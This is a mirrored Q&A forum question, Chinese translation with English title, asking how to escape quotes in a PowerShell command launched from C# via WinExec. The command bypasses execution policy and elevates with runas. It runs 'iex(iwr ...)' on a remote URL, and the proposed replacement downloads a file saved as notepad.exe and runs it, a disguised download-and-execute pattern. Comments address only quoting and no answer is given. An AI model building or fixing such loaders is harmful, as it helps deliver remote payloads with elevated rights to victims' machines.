当“、\”和“”已在使用中时,在 powershell 中使用从 C# 调用的引号

What quotations to use in powershell called from C# when ", \" and ' are already in use

提问人:pwrsheller 提问时间:9/8/2022 更新时间:9/8/2022 访问量:82

问:

我正在学习报价,有一个我无法解决的问题。有一行用 C# 编写的代码使用 iwr

WinExec("powershell -noexit -ExecutionPolicy bypass -Command \"Start-Process -verb runas powershell\" \"'-noexit -ExecutionPolicy bypass -Command iex( iwr http://example.com/raw/xxxxxxx )\" '\"", 1);

由于缺乏IE引擎支持,我需要将“iex( iwr http://example.com/raw/xxxxxxx )”替换为:

curl -o notepad.exe "http://example.com/?Id=1&data=more%0data"; .\notepad.exe

通常我会这样做:

-noexit -ExecutionPolicy bypass -Command "curl -o notepad.exe \"http://example.com/?Id=1&data=more%0data\"; .\notepad.exe"

但是在给出的示例中,“,”\“和”已经在使用中。在命令中,我认为我需要添加“ 和 \”。

我可以使用其他报价来完成这项工作吗?如何做到这一点?

C# Windows PowerShell DLL 引用

评论

0赞 Mathias R. Jessen 9/8/2022
为什么要从 C# 应用程序启动?整个 API 是用 .NET 编写的,你可以直接在应用中托管 PowerShell...powershell.exe
0赞 jdweng 9/8/2022
你有论点。尝试 : $parameters = “'example.com/?Id=1&data=more%0data'; .\notepad.exe” $command = “& notepad.exe $parameters” invoke-expression $command
0赞 pwrsheller 9/8/2022
@MathiasR.Jessen 这是一个关于报价的问题。这不是我的代码,也与逻辑/效率无关
0赞 Mathias R. Jessen 9/8/2022
@pwrsheller 我的错,我把它读作一个关于安全可靠地将输入从 C# 编组到 PowerShell :) 的问题
1赞 Abraham Zinala 9/9/2022
我会逃避它

答: 暂无答案